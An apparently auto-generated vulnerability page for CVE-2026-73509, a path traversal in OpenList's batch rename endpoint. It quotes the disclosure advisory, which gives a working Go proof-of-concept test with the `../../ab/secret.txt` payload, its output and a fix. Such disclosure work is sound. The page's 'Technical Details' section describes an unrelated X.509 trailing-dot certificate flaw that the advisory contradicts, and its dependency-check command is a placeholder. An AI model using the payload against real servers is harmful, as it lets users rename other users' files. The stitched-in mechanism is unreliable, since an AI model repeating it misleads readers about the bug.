CVE-2026-73509: OpenList Authenticated Users Can Rename Files Vulnerability

HIGH
Advisory Identifier: GHSA-95cv-r8x4-vh75
CVSS 7.6
CWE-22
Published
Advisory Summary

CVE-2026-73509 is a HIGH (CVSS 7.6) authenticated users can rename files vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting OpenList libraries in the Go ecosystem. The issue involves authenticated users can rename files outside their base path via batch rename `src_name` traversal. Remediation is available by upgrading affected packages to version 4.2.4.

CVE-2026-73509 at a Glance

CVE Identifier CVE-2026-73509
GHSA Identifier GHSA-95cv-r8x4-vh75
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product OpenList
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-73509

To remediate this vulnerability, upgrade all affected OpenList dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/OpenListTeam/OpenList/v4 fixed: 4.2.4
Upgrade github.com/OpenListTeam/OpenList/v4 to 4.2.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/OpenListTeam/OpenList/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-73509, inspect your project dependencies for OpenList:

inspect dependencies for github.com/OpenListTeam/OpenList/v4

Analyze the terminal output to locate any version of OpenList in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & RFC 5280 Specification

Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of OpenList failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.

Source Advisory Statement

### Summary The `/api/fs/batch_rename` handler validates and authorizes only the requested source directory. It rejects path separators in `new_name`, but it does not validate `src_name`. The handler concatenates `src_dir` and attacker-controlled `src_name`, then passes the result to the filesystem rename layer, where the path is normalized. An authenticated user with rename permission can set `src_name` to traversal segments such as `../../ab/secret.txt`. When the user's base path is `/team/a` and `src_dir` is `/writable`, the authorized directory becomes `/team/a/writable`, but the final source path normalizes to `/team/ab/secret.txt`. The file outside the user's base path is then renamed. ### Details The HTTP API registers filesystem management routes under the authenticated group: - `server/router.go:104` registers `_fs(auth.Group("/fs"))`. - `server/router.go:198` through `server/router.go:205` expose `/api/fs/batch_rename`. The vulnerable code is in `server/handles/fsbatch.go`: - `src_dir` is constrained through `user.JoinPath(req.SrcDir)` (`server/handles/fsbatch.go:170` through `server/handles/fsbatch.go:174`). - Write permission is checked only for that constrained directory (`server/handles/fsbatch.go:176` through `server/handles/fsbatch.go:185`). - The loop checks `renameObject.NewName` with `checkRelativePath`, but does not check `renameObject.SrcName` (`server/handles/fsbatch.go:186` through `server/handles/fsbatch.go:194`). - The handler builds `filePath := fmt.Sprintf("%s/%s", reqPath, renameObject.SrcName)` and passes it to `fs.Rename` (`server/handles/fsbatch.go:195` through `server/handles/fsbatch.go:196`). The single-file rename path shows the intended pattern: `checkRelativePath(req.Name)` rejects separators, empty strings, `.`, and `..` before renaming (`server/handles/fsmanage.go:284` through `server/handles/fsmanage.go:333`). Batch rename applies this protection to the destination name only, not to the source name. Lower layers normalize the source path before operating on it: - `utils.FixAndCleanPath` replaces backslashes with slashes, forces an absolute slash prefix, and calls `path.Clean` (`pkg/utils/path.go:18` through `pkg/utils/path.go:24`). - `JoinBasePath` rejects traversal in the original `src_dir`, not in the later concatenated `src_name` (`pkg/utils/path.go:80` through `pkg/utils/path.go:87`). False-positive checks performed: - The user in the PoC had only normal authenticated user role plus rename permission, not admin role. - The handler successfully authorized `/team/a/writable`, then renamed `/team/ab/secret.txt`, proving that the later source path escaped the authorized directory. - `new_name` validation remained in effect; the exploit uses traversal only in `src_name`. - The test checked the original sibling file disappeared and the renamed sibling file contained the same contents. ### PoC Safe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules. Add this temporary test under `server/handles/security_poc_test.go` in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests. ```go package handles import ( "bytes" "context" "encoding/json" "net/http" "net/http/httptest" "os" "path/filepath" "strings" "testing" _ "github.com/OpenListTeam/OpenList/v4/drivers/local" "github.com/OpenListTeam/OpenList/v4/internal/conf" "github.com/OpenListTeam/OpenList/v4/internal/db" "github.com/OpenListTeam/OpenList/v4/internal/model" "github.com/OpenListTeam/OpenList/v4/internal/op" "github.com/OpenListTeam/OpenList/v4/pkg/utils" "github.com/gin-gonic/gin" "github.com/glebarez/sqlite" "gorm.io/gorm" ) func setupSecurityPoCTest(t *testing.T, root string) *model.User { t.Helper() database, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{}) if err != nil { t.Fatal(err) } conf.Conf = conf.DefaultConfig(t.TempDir()) db.Init(database) addition, err := utils.Json.MarshalToString(map[string]string{"root_folder_path": root}) if err != nil { t.Fatal(err) } _, err = op.CreateStorage(context.Background(), model.Storage{Driver: "Local", MountPath: "/", Addition: addition}) if err != nil { t.Fatal(err) } user := &model.User{ Username: "alice", BasePath: "/team/a", Role: model.GENERAL, Permission: 1<<4 | 1<<14, } if err := db.CreateUser(user); err != nil { t.Fatal(err) } return user } func requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) { t.Helper() payload, err := json.Marshal(body) if err != nil { t.Fatal(err) } recorder := httptest.NewRecorder() ctx, _ := gin.CreateTestContext(recorder) req := httptest.NewRequest(method, target, bytes.NewReader(payload)) req.Header.Set("Content-Type", "application/json") req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user)) ctx.Request = req return ctx, recorder } func TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) { gin.SetMode(gin.TestMode) root := t.TempDir() if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil { t.Fatal(err) } if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil { t.Fatal(err) } secretPath := filepath.Join(root, "team", "ab", "secret.txt") if err := os.WriteFile(secretPath, []byte("secret"), 0o600); err != nil { t.Fatal(err) } user := setupSecurityPoCTest(t, root) ctx, recorder := requestWithUser(t, http.MethodPost, "/api/fs/batch_rename", gin.H{ "src_dir": "/writable", "rename_objects": []gin.H{{ "src_name": "../../ab/secret.txt", "new_name": "renamed.txt", }}, }, user) FsBatchRename(ctx) if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `"code":200`) { t.Fatalf("expected batch rename success, status=%d body=%s", recorder.Code, recorder.Body.String()) } if _, err := os.Stat(secretPath); !os.IsNotExist(err) { t.Fatalf("expected original sibling file to be renamed, stat err=%v", err) } renamedPath := filepath.Join(root, "team", "ab", "renamed.txt") got, err := os.ReadFile(renamedPath) if err != nil { t.Fatalf("expected renamed sibling file at %s: %v", renamedPath, err) } if string(got) != "secret" { t.Fatalf("unexpected renamed file contents: %q", got) } } ``` Run: ```bash go test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v ``` Observed vulnerable output in this environment: ```text === RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase --- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s) PASS ok github.com/OpenListTeam/OpenList/v4/server/handles ``` Combined final confirmation command used during the audit: ```bash go test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v ``` Observed combined output: ```text === RUN TestPOCShareCreateAcceptsSiblingPathOutsideUserBase --- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s) === RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase --- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s) PASS ok github.com/OpenListTeam/OpenList/v4/server/handles (cached) ``` Negative/control cases checked: - `src_dir` traversal is rejected by `user.JoinPath` because `JoinBasePath` detects relative traversal in the original request path. - `new_name` traversal is rejected by `checkRelativePath` because it contains `/`, `\\`, `.`, or `..` patterns. - The exploit succeeds because `src_name` is not passed through the same relative filename check before concatenation. Cleanup: ```bash rm server/handles/security_poc_test.go ``` ### Impact A restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to `/team/a` can rename a guessed sibling file such as `/team/ab/secret.txt` to `/team/ab/renamed.txt` by submitting traversal segments in `src_name`. This is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses. ### Suggested remediation Validate `renameObject.SrcName` with the same relative filename constraints already applied to `renameObject.NewName`, or derive source objects only from a trusted directory listing of `reqPath`. A minimal fix is to call `checkRelativePath(renameObject.SrcName)` before constructing `filePath`. Add regression tests covering: - `src_name: "file.txt"` succeeds; - `src_name: "../secret.txt"` is denied; - `src_name: "../../ab/secret.txt"` is denied when base path is `/team/a` and `src_dir` is `/writable`; - `new_name` traversal remains denied. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

CVE-2026-73509 Affected OpenList Versions

1 component(s)
Fixed Versions:
4.2.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/OpenListTeam/OpenList/v4
Go
< 4.2.4
4.2.4

References

Frequently Asked Questions

What is CVE-2026-73509?
CVE-2026-73509 is a security vulnerability in OpenList involving Authenticated users can rename files outside their base path via batch rename `src_name` traversal under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which OpenList versions are affected?
Affected versions include releases prior to 4.2.4 across affected packages: github.com/OpenListTeam/OpenList/v4.
What version fixes CVE-2026-73509?
Upgrading to 4.2.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/OpenListTeam/OpenList/v4 affected?
Yes, github.com/OpenListTeam/OpenList/v4 is affected in releases prior to 4.2.4. Upgrade your dependency to 4.2.4 or later.
What is the CVSS score of CVE-2026-73509?
CVE-2026-73509 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L.
What CWE is associated with CVE-2026-73509?
CVE-2026-73509 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-73509?
Run the dependency tree command: 'inspect dependencies for github.com/OpenListTeam/OpenList/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-95cv-r8x4-vh75",
  "modified" : "2026-08-13T14:31:12Z",
  "published" : "2026-07-24T22:29:08Z",
  "aliases" : [ "CVE-2026-73509" ],
  "summary" : "OpenList: Authenticated users can rename files outside their base path via batch rename `src_name` traversal",
  "details" : "### Summary\n\nThe `/api/fs/batch_rename` handler validates and authorizes only the requested source directory. It rejects path separators in `new_name`, but it does not validate `src_name`. The handler concatenates `src_dir` and attacker-controlled `src_name`, then passes the result to the filesystem rename layer, where the path is normalized.\n\nAn authenticated user with rename permission can set `src_name` to traversal segments such as `../../ab/secret.txt`. When the user's base path is `/team/a` and `src_dir` is `/writable`, the authorized directory becomes `/team/a/writable`, but the final source path normalizes to `/team/ab/secret.txt`. The file outside the user's base path is then renamed.\n\n### Details\n\nThe HTTP API registers filesystem management routes under the authenticated group:\n\n- `server/router.go:104` registers `_fs(auth.Group(\"/fs\"))`.\n- `server/router.go:198` through `server/router.go:205` expose `/api/fs/batch_rename`.\n\nThe vulnerable code is in `server/handles/fsbatch.go`:\n\n- `src_dir` is constrained through `user.JoinPath(req.SrcDir)` (`server/handles/fsbatch.go:170` through `server/handles/fsbatch.go:174`).\n- Write permission is checked only for that constrained directory (`server/handles/fsbatch.go:176` through `server/handles/fsbatch.go:185`).\n- The loop checks `renameObject.NewName` with `checkRelativePath`, but does not check `renameObject.SrcName` (`server/handles/fsbatch.go:186` through `server/handles/fsbatch.go:194`).\n- The handler builds `filePath := fmt.Sprintf(\"%s/%s\", reqPath, renameObject.SrcName)` and passes it to `fs.Rename` (`server/handles/fsbatch.go:195` through `server/handles/fsbatch.go:196`).\n\nThe single-file rename path shows the intended pattern: `checkRelativePath(req.Name)` rejects separators, empty strings, `.`, and `..` before renaming (`server/handles/fsmanage.go:284` through `server/handles/fsmanage.go:333`). Batch rename applies this protection to the destination name only, not to the source name.\n\nLower layers normalize the source path before operating on it:\n\n- `utils.FixAndCleanPath` replaces backslashes with slashes, forces an absolute slash prefix, and calls `path.Clean` (`pkg/utils/path.go:18` through `pkg/utils/path.go:24`).\n- `JoinBasePath` rejects traversal in the original `src_dir`, not in the later concatenated `src_name` (`pkg/utils/path.go:80` through `pkg/utils/path.go:87`).\n\nFalse-positive checks performed:\n\n- The user in the PoC had only normal authenticated user role plus rename permission, not admin role.\n- The handler successfully authorized `/team/a/writable`, then renamed `/team/ab/secret.txt`, proving that the later source path escaped the authorized directory.\n- `new_name` validation remained in effect; the exploit uses traversal only in `src_name`.\n- The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.\n\n### PoC\n\nSafe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.\n\nAdd this temporary test under `server/handles/security_poc_test.go` in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.\n\n```go\npackage handles\n\nimport (\n    \"bytes\"\n    \"context\"\n    \"encoding/json\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"os\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    _ \"github.com/OpenListTeam/OpenList/v4/drivers/local\"\n    \"github.com/OpenListTeam/OpenList/v4/internal/conf\"\n    \"github.com/OpenListTeam/OpenList/v4/internal/db\"\n    \"github.com/OpenListTeam/OpenList/v4/internal/model\"\n    \"github.com/OpenListTeam/OpenList/v4/internal/op\"\n    \"github.com/OpenListTeam/OpenList/v4/pkg/utils\"\n    \"github.com/gin-gonic/gin\"\n    \"github.com/glebarez/sqlite\"\n    \"gorm.io/gorm\"\n)\n\nfunc setupSecurityPoCTest(t *testing.T, root string) *model.User {\n    t.Helper()\n    database, err := gorm.Open(sqlite.Open(\"file:\"+t.Name()+\"?mode=memory&cache=shared\"), &gorm.Config{})\n    if err != nil {\n        t.Fatal(err)\n    }\n    conf.Conf = conf.DefaultConfig(t.TempDir())\n    db.Init(database)\n\n    addition, err := utils.Json.MarshalToString(map[string]string{\"root_folder_path\": root})\n    if err != nil {\n        t.Fatal(err)\n    }\n    _, err = op.CreateStorage(context.Background(), model.Storage{Driver: \"Local\", MountPath: \"/\", Addition: addition})\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    user := &model.User{\n        Username:   \"alice\",\n        BasePath:   \"/team/a\",\n        Role:       model.GENERAL,\n        Permission: 1<<4 | 1<<14,\n    }\n    if err := db.CreateUser(user); err != nil {\n        t.Fatal(err)\n    }\n    return user\n}\n\nfunc requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {\n    t.Helper()\n    payload, err := json.Marshal(body)\n    if err != nil {\n        t.Fatal(err)\n    }\n    recorder := httptest.NewRecorder()\n    ctx, _ := gin.CreateTestContext(recorder)\n    req := httptest.NewRequest(method, target, bytes.NewReader(payload))\n    req.Header.Set(\"Content-Type\", \"application/json\")\n    req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))\n    ctx.Request = req\n    return ctx, recorder\n}\n\nfunc TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {\n    gin.SetMode(gin.TestMode)\n    root := t.TempDir()\n    if err := os.MkdirAll(filepath.Join(root, \"team\", \"a\", \"writable\"), 0o700); err != nil {\n        t.Fatal(err)\n    }\n    if err := os.MkdirAll(filepath.Join(root, \"team\", \"ab\"), 0o700); err != nil {\n        t.Fatal(err)\n    }\n    secretPath := filepath.Join(root, \"team\", \"ab\", \"secret.txt\")\n    if err := os.WriteFile(secretPath, []byte(\"secret\"), 0o600); err != nil {\n        t.Fatal(err)\n    }\n    user := setupSecurityPoCTest(t, root)\n\n    ctx, recorder := requestWithUser(t, http.MethodPost, \"/api/fs/batch_rename\", gin.H{\n        \"src_dir\": \"/writable\",\n        \"rename_objects\": []gin.H{{\n            \"src_name\": \"../../ab/secret.txt\",\n            \"new_name\": \"renamed.txt\",\n        }},\n    }, user)\n    FsBatchRename(ctx)\n\n    if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `\"code\":200`) {\n        t.Fatalf(\"expected batch rename success, status=%d body=%s\", recorder.Code, recorder.Body.String())\n    }\n    if _, err := os.Stat(secretPath); !os.IsNotExist(err) {\n        t.Fatalf(\"expected original sibling file to be renamed, stat err=%v\", err)\n    }\n    renamedPath := filepath.Join(root, \"team\", \"ab\", \"renamed.txt\")\n    got, err := os.ReadFile(renamedPath)\n    if err != nil {\n        t.Fatalf(\"expected renamed sibling file at %s: %v\", renamedPath, err)\n    }\n    if string(got) != \"secret\" {\n        t.Fatalf(\"unexpected renamed file contents: %q\", got)\n    }\n}\n```\n\nRun:\n\n```bash\ngo test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v\n```\n\nObserved vulnerable output in this environment:\n\n```text\n=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase\n--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)\nPASS\nok  \tgithub.com/OpenListTeam/OpenList/v4/server/handles\n```\n\nCombined final confirmation command used during the audit:\n\n```bash\ngo test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v\n```\n\nObserved combined output:\n\n```text\n=== RUN   TestPOCShareCreateAcceptsSiblingPathOutsideUserBase\n--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)\n=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase\n--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)\nPASS\nok  \tgithub.com/OpenListTeam/OpenList/v4/server/handles\t(cached)\n```\n\nNegative/control cases checked:\n\n- `src_dir` traversal is rejected by `user.JoinPath` because `JoinBasePath` detects relative traversal in the original request path.\n- `new_name` traversal is rejected by `checkRelativePath` because it contains `/`, `\\\\`, `.`, or `..` patterns.\n- The exploit succeeds because `src_name` is not passed through the same relative filename check before concatenation.\n\nCleanup:\n\n```bash\nrm server/handles/security_poc_test.go\n```\n\n### Impact\n\nA restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to `/team/a` can rename a guessed sibling file such as `/team/ab/secret.txt` to `/team/ab/renamed.txt` by submitting traversal segments in `src_name`.\n\nThis is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.\n\n### Suggested remediation\n\nValidate `renameObject.SrcName` with the same relative filename constraints already applied to `renameObject.NewName`, or derive source objects only from a trusted directory listing of `reqPath`.\n\nA minimal fix is to call `checkRelativePath(renameObject.SrcName)` before constructing `filePath`. Add regression tests covering:\n\n- `src_name: \"file.txt\"` succeeds;\n- `src_name: \"../secret.txt\"` is denied;\n- `src_name: \"../../ab/secret.txt\"` is denied when base path is `/team/a` and `src_dir` is `/writable`;\n- `new_name` traversal remains denied.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OpenListTeam/OpenList/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.2.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.2.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-95cv-r8x4-vh75"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenListTeam/OpenList/commit/651da18da4c647d96648d4bb64462baac1c37e04"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenListTeam/OpenList"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T22:29:08Z",
    "nvd_published_at" : null
  }
}